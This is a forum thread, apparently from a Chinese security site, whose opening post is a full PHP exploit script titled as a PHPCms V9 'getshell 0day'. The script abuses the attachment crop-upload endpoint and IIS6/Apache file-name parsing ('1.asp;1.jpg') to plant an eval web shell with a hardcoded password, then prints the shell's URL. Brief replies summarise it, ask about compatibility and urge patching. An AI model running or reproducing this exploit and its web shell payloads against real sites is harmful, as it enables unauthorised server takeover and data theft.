phpcms V9 getshell exp
#!usr/bin/php -w<?php
error_reporting(E_ERROR);
set_time_limit(0);
$pass="fuck";
print_r('
+---------------------------------------------------------------------------+
PHPCms V9 GETSHELL 0DAY
c0de by testr00ttest
针对iis6.0的漏洞 有点鸡肋 但是也可以用
apache 是老版本可能会产生问题
+---------------------------------------------------------------------------+
');
echo '密码为'.$pass;
if ($argc < 2) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv.' url
js 类型配置1为asp 2为php3为apache 的版本
Example:
php '.$argv.' localhost 1
+---------------------------------------------------------------------------+
');
exit;
}
$url=$argv;
$js=$argv;//写入脚本类型
$phpshell='<?php @eval($_POST[\''.$pass.'\']);?>';
$aspshell='<%eval request("'.$pass.'")%>';
if($js==1){
$file="1.asp;1.jpg";
$ret=GetShell($url,$aspshell,$file);
}else if($js==2){
$file="1.php;1.jpg";
$ret=GetShell($url,$phpshell,$file);
}else if($js==3){
$file="1.php.jpg";
$ret=GetShell($url,$phpshell,$file);
}else{
print_r('没有选择脚本类型');
}
$pattern = "|http:\/\/[^,]+?\.jpg,?|U";
preg_match_all($pattern, $ret, $matches);
if($matches){
echo "\r\nurl地址:".$matches;
}else{
echo "\r\n没得到!";
}
function GetShell($url,$shell,$js){
$content =$shell;
$data = "POST /index.php?m=attachment&c=attachments&a=crop_upload&width=1&height=1&file=http://".$url."/uploadfile/".$js." HTTP/1.1\r\n";
$data .= "Host: ".$url."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$data .= "Connection: close\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
//echo $data;
$ock=fsockopen($url,80);
if (!$ock) {
echo "No response from ".$url."\n";
}
fwrite($ock,$data);
$resp = '';
while (!feof($ock)) {
$resp.=fread($ock, 1024);
}
return $resp;
}
?>转载与http://team.f4ck.net
Re: phpcms V9 getshell exp
这个漏洞利用代码看起来是针对PHPCms V9的,通过附件裁剪功能配合IIS6.0或旧版Apache的解析特性来上传WebShell。代码中密码硬编码为“fuck”,URL参数支持三种脚本类型(asp/php/apache)。提醒一下,这类0day/exp仅供安全研究和漏洞修复参考,请勿擅自用于未授权测试或非法操作。如果你是站长,建议尽快检查相关版本并打补丁或升级。Re: phpcms V9 getshell exp
这个漏洞利用代码看起来挺完整的,不过我有点好奇,针对IIS 6.0的解析漏洞利用,是不是需要服务器也开启了对.asp;.jpg这类文件名的支持?另外,不同PHP版本下这个exp的兼容性怎么样,你测试过吗?安全起见,建议大家在测试环境里跑跑,别直接对着生产站搞啊。Re: phpcms V9 getshell exp
感谢楼主的分享,这个exp很详细,测试的时候要注意IIS6.0解析漏洞,确实有点鸡肋但很实用。另外建议站长们尽快升级或做好文件上传验证。
页:
[1]